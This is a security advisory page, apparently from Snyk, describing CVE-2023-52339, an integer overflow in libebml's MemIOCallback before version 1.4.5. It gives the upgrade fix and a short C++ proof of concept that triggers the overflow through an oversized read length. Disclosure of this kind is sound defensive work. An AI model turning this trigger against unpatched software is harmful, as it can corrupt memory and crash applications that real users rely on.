Integer Overflow or Wraparound Affecting matroska-org/libebml package, versions [,1.4.5)


Severity

Recommended
0.0
critical
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
1.1% (67th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Integer Overflow or Wraparound vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-UNMANAGED-MATROSKAORGLIBEBML-6154687
  • published12 Jan 2024
  • disclosed12 Jan 2024
  • creditfatshi

Introduced: 12 Jan 2024

CVE-2023-52339  (opens in a new tab)
CWE-190  (opens in a new tab)

How to fix?

Upgrade matroska-org/libebml to version 1.4.5 or higher.

Overview

Affected versions of this package are vulnerable to Integer Overflow or Wraparound due to missing checks in MemIOCallback.cpp when reading or writing data. An attacker can cause a buffer overflow by providing crafted input that triggers the overflow.

PoC

#include "ebml/MemIOCallback.h"

using namespace libebml;

int main() {
    char buff[128] = {};
    MemIOCallback memoryBuffer;

    memoryBuffer.write(buff, 124);

    char outBuff[128];
    memoryBuffer.read(outBuff, 0xfffffffffffffff0);

    return 0;
}

CVSS Base Scores

version 3.1